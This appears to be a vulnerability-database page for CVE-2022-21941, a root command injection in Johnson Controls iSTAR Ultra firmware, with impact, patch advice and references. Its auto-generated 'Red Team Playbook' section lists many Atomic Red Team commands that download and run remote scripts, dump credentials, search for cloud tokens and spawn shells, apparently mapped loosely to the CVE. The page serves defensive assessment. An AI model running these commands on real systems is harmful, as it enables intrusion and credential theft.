CVE-2022-21941
Overview
The vulnerability is a command injection in Johnson Controls iSTAR Ultra firmware versions prior to 6.8.9.CU01. It arises from insufficient input validation in a system component that processes user-supplied commands, allowing arbitrary shell commands to be executed. The flaw affects the iSTAR Ultra's command execution interface, enabling unauthorized interaction with the underlying operating system.
Vulnerability Description
All versions of iSTAR Ultra prior to version 6.8.9.CU01 are vulnerable to a command injection that could allow an unauthenticated user root access to the system.
Impact
An unauthenticated attacker can leverage this vulnerability to execute arbitrary commands with root privileges on the iSTAR Ultra device remotely over the network. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), enabling full system compromise including data manipulation, disruption of access control functions, or lateral movement within the network. This can lead to complete device takeover and potential breach of physical security controls managed by the system.
Solution
Johnson Controls has released firmware version 6.8.9.CU01 to address this command injection vulnerability. Users should upgrade all affected iSTAR Ultra devices to this version or later as detailed in the vendor's security advisory available at https://www.johnsoncontrols.com/cyber-solutions/security-advisories. Additional guidance and incident response recommendations are provided by the CISA ICS advisory ICSA-22-242-11 at https://www.cisa.gov/uscert/ics/advisories/icsa-22-242-11.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the iSTAR Ultra firmware is characterized by a command injection flaw that allows an unauthenticated user to execute arbitrary commands on the system. This type of vulnerability occurs when an application improperly sanitizes user input, enabling an attacker to manipulate commands that the application executes. In this case, the flaw exists in all versions prior to 6.8.9.CU01, which means that any device running an earlier version is susceptible to exploitation. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that could lead to complete system compromise.
Attack vectors for exploiting this vulnerability are relatively straightforward, given that an unauthenticated user can initiate the attack. An attacker could leverage various methods, such as sending specially crafted HTTP requests to the vulnerable device, which would then execute the injected commands. This could be done remotely, making it particularly dangerous, as it does not require physical access to the device. Once the attacker gains root access, they can manipulate the system to perform unauthorized actions, such as altering configurations, accessing sensitive data, or even deploying additional malware to further compromise the network.
The real-world impact of this vulnerability is significant, especially for organizations relying on the iSTAR Ultra for access control and security management. A successful exploitation could lead to unauthorized access to secure areas, manipulation of security protocols, and potential data breaches. The business risks associated with such incidents are multifaceted, including financial losses, reputational damage, and legal ramifications stemming from non-compliance with data protection regulations. Furthermore, the ability for an attacker to gain root access could facilitate lateral movement within a network, increasing the overall attack surface and complicating incident response efforts.
To detect and mitigate this vulnerability, organizations should prioritize updating their iSTAR Ultra firmware to the latest version, which addresses the command injection flaw. Regular patch management practices are essential to ensure that all systems are up-to-date and protected against known vulnerabilities. Additionally, implementing network segmentation can limit the exposure of critical systems to potential attackers. Intrusion detection systems (IDS) should also be employed to monitor for unusual activity, such as unexpected command executions or anomalous network traffic directed at the iSTAR Ultra devices. Regular security assessments and penetration testing can further help identify and remediate vulnerabilities before they can be exploited.
In conclusion, the command injection vulnerability in the iSTAR Ultra firmware poses a critical threat to organizations utilizing this technology. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from cybersecurity professionals. By adopting a proactive approach to vulnerability management, including timely updates, network segmentation, and continuous monitoring, organizations can significantly reduce their risk exposure and enhance their overall security posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Johnsoncontrols | Istar Ultra Firmware | All |
cpe:2.3:o:johnsoncontrols:istar_ultra_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-21941 |
| johnsoncontrols.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.johnsoncontrols.com/cyber-solutions/security-advisories |
| cisa.gov |
GitHub CVE
third-party-advisory
x_refsource_CERT
|
https://www.cisa.gov/uscert/ics/advisories/icsa-22-242-11 |